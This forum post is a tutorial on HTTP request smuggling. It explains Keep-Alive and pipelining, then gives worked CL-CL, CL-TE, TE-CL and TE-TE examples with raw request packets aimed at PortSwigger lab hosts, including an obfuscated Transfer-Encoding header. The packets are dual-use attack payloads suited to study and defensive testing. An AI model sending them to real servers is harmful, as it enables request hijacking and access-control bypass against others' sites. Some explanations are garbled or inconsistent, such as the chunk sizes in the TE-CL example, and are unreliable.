Jump to content

Featured Replies

Posted

HTTP 请求走私

1 前言

1.1 Keep-Alive

In the protocol design before HTTP 1.0, every time the client makes an HTTP request, it needs to establish a TCP link with the server. Modern web website pages are composed of multiple resources. If we want to obtain the content of a web page, we not only need to request HTML documents, but also various resources such as JS, CSS, and pictures. If we design according to the previous protocol, it will increase the load overhead of the HTTP server. Therefore, in HTTP 1.1, the two features of Keep-Alive and Pipeline were added.

What is Keep-Alive? It is to add a special request header Connection: Keep-Alive to the HTTP request, telling the server that after receiving this HTTP request, do not close the TCP link. Then face the HTTP request of the same target server and reuse this TCP link. This only requires a TCP handshake process, which can reduce server overhead, save resources, and speed up access. Of course, this feature is enabled by default in HTTP 1.1.

1.2 Pipeline

With Keep-Alive, Pipeline is subsequently available. Here, the client can send its own HTTP request like a pipeline, without waiting for the server to respond. After receiving the request, the server needs to follow the first-in-first-out mechanism, strictly correspond to the request and the response, and then send the response to the client. Now, the browser does not enable Pipeline by default, but ordinary servers provide support for Pipeline.

20200915141458.png-water_print

1.3 原理

The TCP link will be reused between the reverse proxy server and the backend source server, because the IP addresses of the proxy server and the backend source server are relatively fixed, and different users' requests are established to establish a link with the source server through the proxy server, so it is natural.

However, due to the different implementation methods of the two servers, if the user submits a vague request, the proxy server may think that this is an HTTP request and forward it to the backend source server. However, after parsing and processing, the source server only believes that part of it is a normal request, and the remaining part is a smuggled request. This is the origin of the HTTP smuggled request.

The reason for the HTTP request smuggling vulnerability is that the HTTP specification provides two different ways to specify the end position of the request, which are the Content-Length header and the Transfer-Encoding header, which is simple and straightforward, and specifies the length of the message content body in bytes.

The Transfer-Encoding header is used to specify that the message body is used to use Chunked Encode, that is, the message message consists of one or more data blocks, each data block size is measured in bytes (hexadecimal representation), followed by a newline character, and then the block content. The most important thing is: the entire message body ends with a block of size 0, which means that the parsing ends with 0 data blocks. like:

1

2

3

4

5

6

7

8

9

POST/HTTP/1.1

Host: ac6f1ff11e5c7d4e806912d000080058.web-security-academy.net

Content-Type: application/x-www-form-urlencoded

Transfer-Encoding: chunked

b

a=11

0

In fact, it is really simple to understand. It is equivalent to sending a request, including Content-Length. The front-end server has no problems after parsing it. However, I also include Transfer-Encoding when requesting it, so that the back-end server can execute some commands I wrote below, so that the front-end server can bypass the waf.

2 实例

2.1 CL 不为 0 的 GET 请求

Assuming that the front-end proxy server allows GET requests to carry request bodies, while the back-end server does not allow GET requests to carry request bodies, it will directly ignore the Content-Length header in the GET request and do not process it. This may lead to request smuggling.

For example, we construct the request:

1

2

3

4

5

6

7

GET/HTTP/1.1\r\n

Host: example.com\r\n

Content-Length: 44\r\n

GET/secret HTTP/1.1\r\n

Host: example.com\r\n

\r\n

The front-end server receives the request and reads Content-Length, determines that this is a complete request, and then forwards it to the back-end server. After the back-end server receives it, it does not process Content-Length. Due to the existence of Pipeline, it considers that it has received two requests, namely

1

2

3

4

5

6

7

# First

GET/HTTP/1.1\r\n

Host: example.com\r\n

# The second one

GET /secret HTTP/1.1\r\n

Host: example.com\r\n

2.2 CL-CL

In Article 4 of Section 3.3.3 of RFC7230, it is stipulated that when the request received by the server contains two Content-Lengths, and the values of the two are different, an error of 400 is required.

However, there are always servers that will not strictly implement this specification. Assuming that the intermediate proxy server and the backend source server will not return a 400 error when receiving similar requests, the intermediate proxy server processes the request according to the value of the first Content-Length, while the backend source server processes the request according to the value of the second Content-Length.

At this time, the malicious attacker can construct a special request:

1

2

3

4

5

6

7

POST/HTTP/1.1\r\n

Host: example.com\r\n

Content-Length: 8\r\n

Content-Length: 7\r\n

12345\r\n

a

The length of the packet obtained by the intermediate proxy server is 8, and the entire packet above is forwarded to the backend source server intact, while the length of the packet obtained by the backend server is 7. After reading the first 7 characters, the backend server believes that it has been read, and then generates the corresponding response and sends it out. At this time, there is still a letter a left in the buffer. For the backend server, this a is part of the next request, but has not been transferred yet. At this time, another normal user happened to request the server, assuming the request is shown in the figure:

1

2

GET /index.html HTTP/1.1\r\n

Host: example.com\r\n

We also know from the previous example that TCP connections are generally reused between the proxy server and the source server.

At this time, the request of the normal user is spliced behind the letter a. When the backend server receives it, the request it actually processes is:

1

2

aGET /index.html HTTP/1.1\r\n

Host: example.com\r\n

At this time, the user will receive an error similar to aGET request method not found. This implements an HTTP smuggling attack, which also affects the behavior of normal users, and can be extended to an attack method similar to CSRF.

However, the two Content-Length request packets are still too ideal, and ordinary servers will not accept such request packets with two request headers. However, in Section 4.4 of RFC2616, it is stipulated that if : receives a request packet with both Content-Length and Transfer-Encoding request headers, Content-Length must be ignored during processing. This actually means that it is not a violation to include both request headers in the request packet, and the server does not need to return a 400 error. The server implementation here is more prone to problems.

2.3 CL-TE

The so-called CL-TE means that when a request packet with two request headers is received, the front-end proxy server only processes the request header Content-Length, while the back-end server will comply with the provisions of RFC2616, ignore Content-Length, and process the request header Transfer-Encoding.

The format of chunk transfer data is as follows, where the value of size is represented by hexadecimal.

Lab address: https://portswigger.net/web-security/request-smuggling/lab-basic-cl-te

Constructing packets:

1

2

3

4

5

6

7

8

9

10

11

12

POST/HTTP/1.1\r\n

Host: ace01fcf1fd05faf80c21f8b00ea006b.web-security-academy.net\r\n

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n

Accept-Language: en-US,en;q=0.5\r\n

Cookie: session=E9m1pnYfbvtMyEnTYSe5eijPDC04EVm3\r\n

Connection: keep-alive\r\n

Content-Length: 6\r\n

Transfer-Encoding: chunked\r\n

\r\n

0\r\n

\r\n

G

This response can be obtained by sending a few consecutive requests:

20200915143924.png-water_print

2.4 TE-CL

The so-called TE-CL is when a request packet with two request headers is received, the front-end proxy server processes the Transfer-Encoding request header, and the back-end server processes the Content-Length request header.

Lab address: https://portswigger.net/web-security/request-smuggling/lab-basic-te-cl

Constructing packets:

1

2

3

4

5

6

7

8

9

10

11

12

13

POST/HTTP/1.1\r\n

Host: ac041f531eabd0cd804edb62000c0025.web-security-academy.net\r\n

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n

Accept-Language: en-US,en;q=0.5\r\n

Cookie: session=3Eyiu83ZSygjzgAfyGPn8VdGbKw5ifew\r\n

Content-Length: 4\r\n

Transfer-Encoding: chunked\r\n

\r\n

12\r\n

GPOST/HTTP/1.1\r\n

\r\n

0\r\n

\r\n

20200915145641.png-water_print

Since the front-end server processes Transfer-Encoding, when it reads 0\r\n\r\n, it is considered that the reading has been completed. At this time, this request is a complete request for the proxy server, and then forwarded to the back-end server. The back-end server processes the Content-Length request header. After it reads 5c\r\n, it believes that the request has ended, and the subsequent data is considered to be another request, that is:

1

2

3

4

5

6

GPOST/HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Content-Length: 15

x=1

0

2.5 TE-TE

TE-TE, it is also easy to understand. When receiving a request packet with two request headers, both the front and back end servers process the Transfer-Encoding request header, which is indeed the standard for implementing RFC. However, the front and backend servers are not the same after all, so there is a way to perform some obfuscation operation on the Transfer-Encoding in the sent request packet, so that one of the servers does not process the Transfer-Encoding request header. In a sense it is still CL-TE or TE-CL.

Lab address: https://portswigger.net/web-security/request-smuggling/lab-ofuscating-te-header

Constructing packets:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

POST/HTTP/1.1\r\n

Host: ac4b1fcb1f596028803b11a2007400e4.web-security-academy.net\r\n

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0\r\n

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n

Accept-Language: en-US,en;q=0.5\r\n

Cookie: session=Mew4QW7BRxkhk0p1Thny2GiXiZwZdMd8\r\n

Content-length: 4\r\n

Transfer-Encoding: chunked\r\n

Transfer-encoding: cow\r\n

\r\n

5c\r\n

GPOST/HTTP/1.1\r\n

Content-Type: application/x-www-form-urlencoded\r\n

Content-Length: 15\r\n

\r\n

x=1\r\n

0\r\n

\r\n

20200915150153.png-water_print

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.
Note: Your post will require moderator approval before it will be visible.

Guest
Reply to this topic...

Important Information

HackTeam Cookie PolicyWe have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.